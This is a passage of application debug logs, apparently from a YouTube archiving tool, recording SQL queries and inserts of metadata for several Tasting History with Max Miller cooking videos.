History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", 1393, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, 3, ~U[2025-12-16 16:01:10Z]] 02:52:23.868 [debug] QUERY OK source="sources" db=0.1ms idle=84.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:23.869 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:23.869 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4967] 02:52:23.869 [debug] Current batch of media processed. Will check again in 1000ms 02:52:24.870 [debug] Current batch of media processed. Will check again in 1000ms 02:52:25.871 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "duration" => 1379, "filename" => "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", "id" => "MgswDy8PMAA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MgswDy8PMAA", "playlist_index" => 17, "timestamp" => 1765296045, "title" => "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "upload_date" => "20251209"} 02:52:25.872 [debug] QUERY OK source="sources" db=0.2ms idle=480.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:25.872 [debug] QUERY OK source="sources" db=0.1ms idle=480.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:25.874 [debug] QUERY OK source="media_items" db=1.3ms idle=481.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 16:00:45Z], 3] 02:52:25.876 [debug] QUERY OK source="media_items" db=1.3ms idle=482.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "284c9dbd-f518-4835-a25e-a15e0c53c7d1", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, 1379, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, false, 3, [], 98, ~U[2025-12-09 16:00:45Z], ~U[2026-03-31 06:52:25Z], ~U[2026-03-31 06:52:25Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", 1379, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, 3, ~U[2025-12-09 16:00:45Z]] 02:52:25.876 [debug] QUERY OK source="sources" db=0.2ms idle=88.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:25.876 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:25.877 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4489] 02:52:25.877 [debug] Current batch of media processed. Will check again in 1000ms 02:52:26.877 [debug] Current batch of media processed. Will check again in 1000ms 02:52:27.878 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1123, "filename" => "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", "id" => "7Z8MvxYovpk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7Z8MvxYovpk", "playlist_index" => 18, "timestamp" => 1764950418, "title" => "Making Real English Toffee from 1881", "upload_date" => "20251205"} 02:52:27.879 [debug] QUERY OK source="sources" db=0.2ms idle=487.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:27.879 [debug] QUERY OK source="sources" db=0.1ms idle=487.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:27.881 [debug] QUERY OK source="media_items" db=1.4ms idle=488.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:00:18Z], 3] 02:52:27.882 [debug] QUERY OK source="media_items" db=1.1ms idle=489.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "4f7852b7-239f-4312-bcfc-6b157c6d13bd", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, 1123, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, false, 3, [], 98, ~U[2025-12-05 16:00:18Z], ~U[2026-03-31 06:52:27Z], ~U[2026-03-31 06:52:27Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", 1123, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, 3, ~U[2025-12-05 16:00:18Z]] 02:52:27.883 [debug] QUERY OK source="sources" db=0.1ms idle=92.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:27.883 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:27.883 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4213] 02:52:27.883 [debug] Current batch of media processed. Will check again in 1000ms 02:52:28.884 [debug] Current batch of media processed. Will check again in 1000ms 02:52:29.885 [debug] Current batch of media processed. Will check again in 1000ms 02:52:30.886 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "duration" => 1349, "filename" => "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", "id" => "vuoThloIEhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vuoThloIEhs", "playlist_index" => 19, "timestamp" => 1764691293, "title" => "Gingerbread for Washington's Army", "upload_date" => "20251202"} 02:52:30.887 [debug] QUERY OK source="sources" db=0.1ms idle=1495.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:30.887 [debug] QUERY OK source="sources" db=0.1ms idle=1495.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:30.889 [debug] QUERY OK source="media_items" db=1.3ms idle=1496.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 16:01:33Z], 3] 02:52:30.890 [debug] QUERY OK source="media_items" db=1.1ms idle=1095.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "fbb2cd46-93fd-421d-bc11-4951a57dd134", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, 1349, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, false, 3, [], 98, ~U[2025-12-02 16:01:33Z], ~U[2026-03-31 06:52:30Z], ~U[2026-03-31 06:52:30Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", 1349, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, 